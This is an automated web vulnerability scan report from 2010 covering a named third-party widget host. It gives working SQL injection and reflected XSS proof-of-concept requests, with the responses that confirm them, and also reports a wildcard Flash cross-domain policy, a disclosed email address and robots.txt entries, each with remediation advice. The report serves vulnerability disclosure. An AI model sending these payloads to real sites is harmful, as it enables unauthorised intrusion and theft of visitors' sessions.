Report generated by XSS.CX at Sun Nov 07 17:45:48 CST 2010.

Cross Site Scripting Reports | Hoyt LLC Research

1. SQL injection

2. Cross-site scripting (reflected)

2.1. http://cdn11.surphace.com/widgets/sphereit/js [baseurl parameter]

2.2. http://cdn11.surphace.com/widgets/sphereit/js [siteid parameter]

2.3. http://cdn11.surphace.com/widgets/sphereit/js [siteid parameter]

2.4. http://cdn11.surphace.com/widgets/sphereit/js [siteid parameter]

3. Flash cross-domain policy

4. Email addresses disclosed

5. Robots.txt file

1. SQL injection next

Summary

Severity:	High
Confidence:	Tentative
Host:	http://cdn11.surphace.com
Path:	/widgets/sphereit/js

Issue detail

The REST URL parameter 3 appears to be vulnerable to SQL injection attacks. The payloads 81524518'%20or%201%3d1--%20 and 81524518'%20or%201%3d2--%20 were each submitted in the REST URL parameter 3. These two requests resulted in different responses, indicating that the input is being incorporated into a SQL query in an unsafe way.

Note that automated difference-based tests for SQL injection flaws can often be unreliable and are prone to false positive results. You should manually review the reported requests and responses to confirm whether a vulnerability is actually present.

Issue background

SQL injection vulnerabilities arise when user-controllable data is incorporated into database SQL queries in an unsafe manner. An attacker can supply crafted input to break out of the data context in which their input appears and interfere with the structure of the surrounding query.

Various attacks can be delivered via SQL injection, including reading or modifying critical application data, interfering with application logic, escalating privileges within the database and executing operating system commands.

Issue remediation

The most effective way to prevent SQL injection attacks is to use parameterised queries (also known as prepared statements) for all database access. This method uses two steps to incorporate potentially tainted data into SQL queries: first, the application specifies the structure of the query, leaving placeholders for each item of user input; second, the application specifies the contents of each placeholder. Because the structure of the query has already defined in the first step, it is not possible for malformed data in the second step to interfere with the query structure. You should review the documentation for your database and application platform to determine the appropriate APIs which you can use to perform parameterised queries. It is strongly recommended that you parameterise every variable data item that is incorporated into database queries, even if it is not obviously tainted, to prevent oversights occurring and avoid vulnerabilities being introduced by changes elsewhere within the code base of the application.

You should be aware that some commonly employed and recommended mitigations for SQL injection vulnerabilities are not always effective:

One common defense is to double up any single quotation marks appearing within user input before incorporating that input into a SQL query. This defense is designed to prevent malformed data from terminating the string in which it is inserted. However, if the data being incorporated into queries is numeric, then the defense may fail, because numeric data may not be encapsulated within quotes, in which case only a space is required to break out of the data context and interfere with the query. Further, in second-order SQL injection attacks, data that has been safely escaped when initially inserted into the database is subsequently read from the database and then passed back to it again. Quotation marks that have been doubled up initially will return to their original form when the data is reused, allowing the defense to be bypassed.
Another often cited defense is to use stored procedures for database access. While stored procedures can provide security benefits, they are not guaranteed to prevent SQL injection attacks. The same kinds of vulnerabilities that arise within standard dynamic SQL queries can arise if any SQL is dynamically constructed within stored procedures. Further, even if the procedure is sound, SQL injection can arise if the procedure is invoked in an unsafe manner using user-controllable data.

Request 1

GET /widgets/sphereit/js81524518'%20or%201%3d1--%20?baseurl=http://cdn11.surphace.com/widgets/sphereit/&siteid=blogsmith_widget_engadget HTTP/1.1
Accept: */*
Referer: http://www.engadget.com/2010/11/04/kinect-for-xbox-360-review/
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: cdn11.surphace.com
Proxy-Connection: Keep-Alive

Response 1

HTTP/1.1 404 Not Found
Server: Apache/2.2.9 (Debian) mod_python/3.3.1 Python/2.5.2 mod_ssl/2.2.9 OpenSSL/0.9.8g mod_perl/2.0.4 Perl/v5.10.0
Content-Type: text/html; charset=iso-8859-1
Content-Length: 404
X-Varnish: 1019787268
Date: Sun, 07 Nov 2010 21:50:25 GMT
Connection: close
Vary: Accept-Encoding

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL /widgets/sphereit/js81524518' or 1=1-- was not found
...[SNIP]...
<address>Apache/2.2.9 (Debian) mod_python/3.3.1 Python/2.5.2 mod_ssl/2.2.9 OpenSSL/0.9.8g mod_perl/2.0.4 Perl/v5.10.0 Server at www.surphace.com Port 80</address>
</body></html>

Request 2

GET /widgets/sphereit/js81524518'%20or%201%3d2--%20?baseurl=http://cdn11.surphace.com/widgets/sphereit/&siteid=blogsmith_widget_engadget HTTP/1.1
Accept: */*
Referer: http://www.engadget.com/2010/11/04/kinect-for-xbox-360-review/
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: cdn11.surphace.com
Proxy-Connection: Keep-Alive

Response 2

HTTP/1.1 404 Not Found
Server: Apache/2.2.9 (Debian) mod_ssl/2.2.9 OpenSSL/0.9.8g
Content-Type: text/html; charset=iso-8859-1
Content-Length: 346
X-Varnish: 1019787324
Date: Sun, 07 Nov 2010 21:50:25 GMT
Connection: close
Vary: Accept-Encoding

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL /widgets/sphereit/js81524518' or 1=2-- was not found
...[SNIP]...
<address>Apache/2.2.9 (Debian) mod_ssl/2.2.9 OpenSSL/0.9.8g Server at www.surphace.com Port 80</address>
</body></html>

2. Cross-site scripting (reflected) previous next
There are 4 instances of this issue:

/widgets/sphereit/js [baseurl parameter]
/widgets/sphereit/js [siteid parameter]
/widgets/sphereit/js [siteid parameter]
/widgets/sphereit/js [siteid parameter]

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Remediation background

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:

Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).

In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.

2.1. http://cdn11.surphace.com/widgets/sphereit/js [baseurl parameter] next

Summary

Severity:	High
Confidence:	Certain
Host:	http://cdn11.surphace.com
Path:	/widgets/sphereit/js

Issue detail

The value of the baseurl request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload eede9"%3balert(1)//99ba8e63a06 was submitted in the baseurl parameter. This input was echoed as eede9";alert(1)//99ba8e63a06 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /widgets/sphereit/js?baseurl=http://cdn11.surphace.com/widgets/sphereit/eede9"%3balert(1)//99ba8e63a06&siteid=blogsmith_widget_engadget HTTP/1.1
Accept: */*
Referer: http://www.engadget.com/2010/11/04/kinect-for-xbox-360-review/
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: cdn11.surphace.com
Proxy-Connection: Keep-Alive

Response

HTTP/1.1 200 OK
Server: Apache/2.2.9 (Debian) mod_ssl/2.2.9 OpenSSL/0.9.8g
Content-Location: js.php
TCN: choice
X-Machine: web24
Content-Type: text/javascript
X-Forwarded-For: 204.0.5.36
X-Varnish: 1019770991
Vary: Accept-Encoding
Cache-Control: max-age=8331
Date: Sun, 07 Nov 2010 21:49:08 GMT
Connection: close
Content-Length: 20200

/* -- BEGIN SPHERE JS -- */

// site id for bookmarket
var SPHERE_SITE_ID = "";
   SPHERE_SITE_ID = "blogsmith_widget_engadget";

//MediaPixel Removed

// Omniture
/*
The core url used by all m
...[SNIP]...
gGo, true);
        document.removeEventListener("mouseup", dragStop, true);
       }
   }

function appendStylesheet() {
Sphere.addStylesheet("http://cdn11.surphace.com/widgets/sphereit/eede9";alert(1)//99ba8e63a06/css?siteid=blogsmith_widget_engadget");

}

function appendGlamThemeStylesheet(){

}

}

Animator = new function() {
var interval
...[SNIP]...

2.2. http://cdn11.surphace.com/widgets/sphereit/js [siteid parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://cdn11.surphace.com
Path:	/widgets/sphereit/js

Issue detail

The value of the siteid request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 1ce0f"%3balert(1)//47c2ae531e2 was submitted in the siteid parameter. This input was echoed as 1ce0f";alert(1)//47c2ae531e2 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /widgets/sphereit/js?baseurl=http://cdn11.surphace.com/widgets/sphereit/&siteid=blogsmith_widget_engadget1ce0f"%3balert(1)//47c2ae531e2 HTTP/1.1
Accept: */*
Referer: http://www.engadget.com/2010/11/04/kinect-for-xbox-360-review/
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: cdn11.surphace.com
Proxy-Connection: Keep-Alive

Response

HTTP/1.1 200 OK
Server: Apache/2.2.9 (Debian) mod_ssl/2.2.9 OpenSSL/0.9.8g
Content-Location: js.php
TCN: choice
X-Machine: web9
Content-Type: text/javascript
X-Forwarded-For: 204.0.5.36
X-Varnish: 1019772837
Vary: Accept-Encoding
Cache-Control: max-age=12314
Date: Sun, 07 Nov 2010 21:49:17 GMT
Connection: close
Content-Length: 20367

/* -- BEGIN SPHERE JS -- */

// site id for bookmarket
var SPHERE_SITE_ID = "";
SPHERE_SITE_ID = "blogsmith_widget_engadget1ce0f";alert(1)//47c2ae531e2";

//MediaPixel Removed

// Omniture
/*
The core url used by all methods to make calls to the remote omniture code.
the 'action' arg will be the name of a method to be called by eval in the
sp
...[SNIP]...

2.3. http://cdn11.surphace.com/widgets/sphereit/js [siteid parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://cdn11.surphace.com
Path:	/widgets/sphereit/js

Issue detail

The value of the siteid request parameter is copied into a JavaScript inline comment. The payload 6c348*/alert(1)//97d4a90124e was submitted in the siteid parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /widgets/sphereit/js?baseurl=http://cdn11.surphace.com/widgets/sphereit/&siteid=blogsmith_widget_engadget6c348*/alert(1)//97d4a90124e HTTP/1.1
Accept: */*
Referer: http://www.engadget.com/2010/11/04/kinect-for-xbox-360-review/
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: cdn11.surphace.com
Proxy-Connection: Keep-Alive

Response

HTTP/1.1 200 OK
Server: Apache/2.2.9 (Debian) mod_ssl/2.2.9 OpenSSL/0.9.8g
Content-Location: js.php
TCN: choice
X-Machine: web8
Content-Type: text/javascript
X-Forwarded-For: 204.0.5.36
X-Varnish: 1019773197
Vary: Accept-Encoding
Cache-Control: max-age=12894
Date: Sun, 07 Nov 2010 21:49:19 GMT
Connection: close
Content-Length: 20367

/* -- BEGIN SPHERE JS -- */

// site id for bookmarket
var SPHERE_SITE_ID = "";
SPHERE_SITE_ID = "blogsmith_widget_engadget6c348*/alert(1)//97d4a90124e";

//MediaPixel Removed

// Omniture
/*

...[SNIP]...
l; widget=null; }
}
if( !widget ) draw();
show();
/*
var reqimgurl = 'http://stats.surphace.com/widgets/sphereit/?action=display&siteid=blogsmith_widget_engadget6c348*/alert(1)//97d4a90124e';
var reqimg = new Image();
reqimg.src = reqimgurl;

if (reqimg.style) {
// In Safari 2.0.x, reqimg has no style until it's appended, so skip this (fixed in
...[SNIP]...

2.4. http://cdn11.surphace.com/widgets/sphereit/js [siteid parameter] previous

Summary

Severity:	High
Confidence:	Certain
Host:	http://cdn11.surphace.com
Path:	/widgets/sphereit/js

Issue detail

The value of the siteid request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 6fc34'%3balert(1)//a5aab8bd9d2 was submitted in the siteid parameter. This input was echoed as 6fc34';alert(1)//a5aab8bd9d2 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /widgets/sphereit/js?baseurl=http://cdn11.surphace.com/widgets/sphereit/&siteid=blogsmith_widget_engadget6fc34'%3balert(1)//a5aab8bd9d2 HTTP/1.1
Accept: */*
Referer: http://www.engadget.com/2010/11/04/kinect-for-xbox-360-review/
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: cdn11.surphace.com
Proxy-Connection: Keep-Alive

Response

HTTP/1.1 200 OK
Server: Apache/2.2.9 (Debian) mod_ssl/2.2.9 OpenSSL/0.9.8g
Content-Location: js.php
TCN: choice
X-Machine: web24
Content-Type: text/javascript
X-Forwarded-For: 204.0.5.36
X-Varnish: 1019773004
Vary: Accept-Encoding
Cache-Control: max-age=8611
Date: Sun, 07 Nov 2010 21:49:18 GMT
Connection: close
Content-Length: 20367

/* -- BEGIN SPHERE JS -- */

// site id for bookmarket
var SPHERE_SITE_ID = "";
SPHERE_SITE_ID = "blogsmith_widget_engadget6fc34';alert(1)//a5aab8bd9d2";

//MediaPixel Removed

// Omniture
/*

...[SNIP]...
</div>';

var CONTENT_URL = 'http://widgets.surphace.com/widgets/sphereit/content?siteid=blogsmith_widget_engadget6fc34';alert(1)//a5aab8bd9d2';
if(document.characterSet) CONTENT_URL += ('&cset='+escape(document.characterSet));
CONTENT_URL += '&CXNID=1000009.430098529NXC&url=';
var widget; var widgetContent; var widge
...[SNIP]...

3. Flash cross-domain policy previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://cdn11.surphace.com
Path:	/crossdomain.xml

Issue detail

The application publishes a Flash cross-domain policy which allows access from any domain.

Allowing access from all domains means that any domain can perform two-way interaction with this application. Unless the application consists entirely of unprotected public content, this policy is likely to present a significant security risk.

Issue background

The Flash cross-domain policy controls whether Flash client components running on other domains can perform two-way interaction with the domain which publishes the policy. If another domain is allowed by the policy, then that domain can potentially attack users of the application. If a user is logged in to the application, and visits a domain allowed by the policy, then any malicious content running on that domain can potentially gain full access to the application within the security context of the logged in user.

Even if an allowed domain is not overtly malicious in itself, security vulnerabilities within that domain could potentially be leveraged by a third-party attacker to exploit the trust relationship and attack the application which allows access.

Issue remediation

You should review the domains which are allowed by the Flash cross-domain policy and determine whether it is appropriate for the application to fully trust both the intentions and security posture of those domains.

Request

GET /crossdomain.xml HTTP/1.0
Host: cdn11.surphace.com

Response

HTTP/1.0 200 OK
Server: Apache/2.2.9 (Debian) mod_ssl/2.2.9 OpenSSL/0.9.8g
Last-Modified: Fri, 17 Jul 2009 00:29:04 GMT
X-Machine: web18
Content-Type: application/xml
X-Forwarded-For: 204.0.5.36
X-Varnish: 1018935978
Date: Sun, 07 Nov 2010 20:40:08 GMT
Content-Length: 217
Connection: close

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-access-from domain="*"/>
</cros
...[SNIP]...

4. Email addresses disclosed previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://cdn11.surphace.com
Path:	/javascript/omniture_h15.js

Issue detail

The following email address was disclosed in the response:

id@Us.tc

Issue background

The presence of email addresses within application responses does not necessarily constitute a security vulnerability. Email addresses may appear intentionally within contact information, and many applications (such as web mail) include arbitrary third-party email addresses within their core content.

However, email addresses of developers and other individuals (whether appearing on-screen or hidden within page source) may disclose information that is useful to an attacker; for example, they may represent usernames that can be used at the application's login, and they may be used in social engineering attacks against the organisation's personnel. Unnecessary or excessive disclosure of email addresses may also lead to an increase in the volume of spam email received.

Issue remediation

You should review the email addresses being disclosed by the application, and consider removing any that are unnecessary, or replacing personal addresses with anonymous mailbox addresses (such as helpdesk@example.com).

Request

GET /javascript/omniture_h15.js HTTP/1.1
Accept: */*
Referer: http://www.surphace.com/partner/omniture/sphereomni_api.php?siteid=blogsmith_inpage_engadget&evt=fireSphereOmInitAction&omid=1979576
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: cdn11.surphace.com
Proxy-Connection: Keep-Alive

Response

HTTP/1.1 200 OK
Server: Apache/2.2.9 (Debian) mod_ssl/2.2.9 OpenSSL/0.9.8g
Last-Modified: Fri, 17 Jul 2009 00:29:04 GMT
X-Machine: web7
Content-Type: application/javascript
Content-Length: 38862
X-Varnish: 2090671298 2074644860
Date: Sun, 07 Nov 2010 20:25:39 GMT
Connection: close

/* SiteCatalyst code version: H.15.
Copyright 1997-2008 Omniture, Inc. More info available at
http://www.omniture.com - updated 9/10/2008*/
/************************ ADDITIONAL FEATURES *************
...[SNIP]...
)`i+s.hav()+q+(qs?qs:s.rq(^C)),0,id,ta);qs`h;`Wm('t')`5s.p"
+"_r)s.p_r()}^7(qs);^y`o(@g;`k@g`L^9,`F$51',vb`R@G=^D=s.`N`g=s.`N^K=`E^z^x=s.ppu=^n=^nv1=^nv2=^nv3`h`5$t)`E^z@G=`E^zeo=`E^z`N`g=`E^z`N^K`h`5!id@Us.tc){s.tc=1;s.flush`Z()}`2$h`Atl`0o,t,n,vo`1;s.@G=@uo"
+"`R`N^K=t;s.`N`g=n;s.t(@g}`5pg){`E^zco`0o){`K@J\"_\",1,#8`2@uo)`Awd^zgs`0$P{`K@J$k1,#8`2s.t()`Awd^zdc`0$P{`K@J$k#8`2s.t()}}@2=(`E`I`X`8`4@ss@b0`Rd=^
...[SNIP]...

5. Robots.txt file previous

Summary

Severity:	Information
Confidence:	Certain
Host:	http://cdn11.surphace.com
Path:	/widgets/sphereit/css

Issue detail

The web server contains a robots.txt file.

Issue background

The file robots.txt is used to give instructions to web robots, such as search engine crawlers, about locations within the web site which robots are allowed, or not allowed, to crawl and index.

The presence of the robots.txt does not in itself present any kind of security vulnerability. However, it is often used to identify restricted or private areas of a site's contents. The information in the file may therefore help an attacker to map out the site's contents, especially if some of the locations identified are not linked from elsewhere in the site. If the application relies on robots.txt to protect access to these areas, and does not enforce proper access control over them, then this presents a serious vulnerability.

Issue remediation

The robots.txt file is not itself a security threat, and its correct use can represent good practice for non-security reasons. You should not assume that all web robots will honour the file's instructions. Rather, assume that attackers will pay close attention to any locations identified in the file. Do not rely on robots.txt to provide any kind of protection over unauthorised access.

Request

GET /robots.txt HTTP/1.0
Host: cdn11.surphace.com

Response

HTTP/1.0 200 OK
Server: Apache/2.2.9 (Debian) mod_ssl/2.2.9 OpenSSL/0.9.8g
Last-Modified: Fri, 17 Jul 2009 00:29:04 GMT
X-Machine: web6
Content-Type: text/plain
X-Forwarded-For: 64.134.144.120
X-Varnish: 1018936231 1018934292
Date: Sun, 07 Nov 2010 20:40:09 GMT
Content-Length: 74
Connection: close

User-agent: *
Disallow: /featured-blogs
Disallow: /profile
Disallow: /rss

Report generated by XSS.CX at Sun Nov 07 17:45:48 CST 2010.